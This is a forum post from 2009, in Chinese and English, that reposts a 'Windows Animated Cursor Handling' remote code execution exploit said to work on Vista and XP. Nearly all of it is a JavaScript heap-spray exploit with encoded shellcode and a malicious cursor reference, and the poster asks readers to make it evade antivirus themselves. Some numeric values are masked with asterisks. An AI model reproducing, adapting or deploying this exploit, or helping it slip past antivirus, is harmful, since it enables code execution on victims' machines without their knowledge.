|
|
Vista 光标远程溢出（oday）
被查杀了，大家自己做下免杀吧。
::[ geqian presents ]::..
Windows Animated Cursor Handling Exploit (0day)
Works on fully patched Windows Vista
I think it is first real remote code execution exploit on vista =)
Tested on:
Windows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows XP SP2
(It also must to work on all nt based windows but not tested)
Author: geqian
Mail: 70527418@vip.qq.com
Bug discovered by determina (http://www.aground.cn/)
Credit: geqian, http://www.aground.cn/
invokes calc.exe if successful
-->
<SCRIPT language="javascript">
var heapSprayToAddress = 0x070****0000;
var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B
%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424
%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031
%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B
%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x40***00;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u4141%u4141");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x40***00)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory = spraySlide + payLoadCode;
}
document.write("<HTML><BODY style=\"CURSOR: url($1$riff.htm$1$)\"> </BODY></HTML>")
wait(500)
window.location.reload()
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</SCRIPT>
|
|
发表于 2009-4-6 12:17:43